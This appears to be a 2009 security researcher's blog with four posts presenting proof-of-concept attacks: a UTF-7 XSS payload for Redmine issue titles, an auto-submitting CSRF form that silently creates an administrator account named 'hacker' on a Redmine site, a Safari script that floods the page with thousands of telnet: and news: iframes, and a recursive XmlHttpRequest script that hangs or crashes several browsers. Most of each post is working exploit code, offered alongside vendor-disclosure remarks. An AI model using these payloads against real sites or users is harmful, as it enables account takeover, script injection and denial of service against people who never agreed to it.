12/03/2009

Redmine UTF-7 XSS Vulnerability

I keep on looking through Redmine. And one of the most basic persistent XSS - problem of placing <title> prior to <meta> - still often ignored by developers. The same thing occurred in Drupal some time ago. Same thing is currently in Redmine.
The idea of this XSS vector is that tag <title> is placed before tag <meta>, which specifies character encoding of page. Good browsers look for <meta> upon page opening, ignoring its position, but Internet Explorer 6/7 (not quite sure about latest one), in case described above, uses <title> to define encoding. So if you create page (within Redmine, it will be "Issue") with title

+ADw-script+AD4-alert('XSS');+ADw-/script+AD4-

and open it in IE with Auto-Select Encoding on, browser will think that encoding of the page is UTF-7 and will interpret +ADw- as < and +AD4- as >. Thus arbitrary JavaScript will be executed, evading built-in filters .
P.S. Vendor was contacted and Eric Davis informed me, that this vulnerability will be fixed in new version along with CSRF, which wasn't fixed in 0.8.7.
P.P.S. Proof-of-Concept is here 

11/17/2009

Redmine CSRF Add Admin User PoC

Redmine, a flexible project management web application, which is used by many companies, including company, where I work, till this day was vulnerable to CSRF from task updating to administration. So, the easiest and the most critical PoC I could code was the one that creates user with administrative rights.
I've contacted Redmine's SecTeam and they rapidly released new version and separate patch (they are cool team, actually). Those, who use it, need to update asap, because this vulnerability is a critical one.

<form method=POST action="http://www.site.org/users/new">
  <input type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
  <input type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
  <input type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
  <input type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
  <input type="password" size="25" name="password" id="password" value="hacker" />
  <input type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
  <input type="checkbox" value="1" name="user[admin]" id="user_admin"/>
  <input type="hidden" value="1" name="user[admin]"/>
  <input type="submit" value="Create" id="commit" name="commit" />
</form>
<script>document.getElementById("commit").click();</script>

Exploit is here 

EDIT: It seems that Redmine was not fixed in new version :) Maybe there were some problems with my local version, but token was generated one time and for all users. I've reached them, so gotta be fixed finally.

9/28/2009

User Panic - external applications handler of Safari

Some time ago RSnake published the thing, which gets user into a real panic - iframes with mailto: URI. I just developed it furtherly. Now "exploit" creates iframes with telnet: and news: sources, and if browser doesn't properly handles protocols, which requires external applications to be launched (actually, I'm talking about Apple Safari), this gets user into a real panic :)

<body />
<script>
  function makeFrameTelnet() {
  ifrm = document.createElement("IFRAME");
  ifrm.src = 'telnet://nonexistent.com:80';
  document.body.appendChild(ifrm);
  }
</script>
<script>
  function makeFrameNews() {
  ifrm = document.createElement("IFRAME");
  ifrm.src = 'news://nonexistent.com';
  document.body.appendChild(ifrm);
  }
</script>
<script>
  for (i=0; i < 9999; i++) {
  makeFrameTelnet()
  makeFrameNews()
  }
</script>

P.S. Safari and IE doesn't properly handle skype: protocol. When we create an iframe with, for example, skype:blahblahblah?call source and open it, Skype gets run and the call to blahblahblah user begins. It seems that it's possible to perform some kind of spamming using it. Need to play around with it.

9/11/2009

IE 7.x/8.x, Opera 10.x, Safari 4.x DoS PoC

While playing around with cross-domain requests, I've noticed that page, containing cycled XmlHttpRequest leads to violation of normal behavior of different browsers.
MS Internet Explorer 7.x/8.x (haven't got 6.x, but sure it's affected) begins to devour system resources (CPU and memory), shows error message "Stack Overflow at line: 43" and stops processing the page in few seconds.
Opera 10.x crashes in few seconds and its crash probably may lead to execution of shellcode (debugged it with WinDbg and !exploitable).
Apple Safari 4.x simply hangs, devouring system resources.
However, Mozilla Firefox 3.5 and Google Chrome can handle this exploit.
Vendors have been contacted, but no reaction.
I've posted this very dirty PoC at sla.ckers and finally it's here.
So, to test this PoC, create a page containing exploit, place it to your local webserver (any LAMP) or website and open it.
PoC contains cross-domain XmlHttp function and cycled asynchronous XmlHttpRequest.

<script>
  function getXmlHttp(){
    var xmlhttp;
    try {
      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
    try {
      xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    } catch (E) {
      xmlhttp = false;
    }
  }

  if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
    xmlhttp = new XMLHttpRequest();
  }
  return xmlhttp;
  }
</script>
<script>
  function getXmlHttpSploit(){
    var xmlhttp = getXmlHttp()
    xmlhttp.open('GET', 'nonexistentpage', false);
    xmlhttp.send(null);
    if(xmlhttp.status == 404) {
      getXmlHttpSploit();
    }
  }
</script>
<script>
  var xmlhttp = getXmlHttp()
  xmlhttp.open('GET', 'nonexistentpage', true);
  xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4) {
      if(xmlhttp.status == 404) {
        getXmlHttpSploit();
      }
    }
  };
  xmlhttp.send(null);
</script>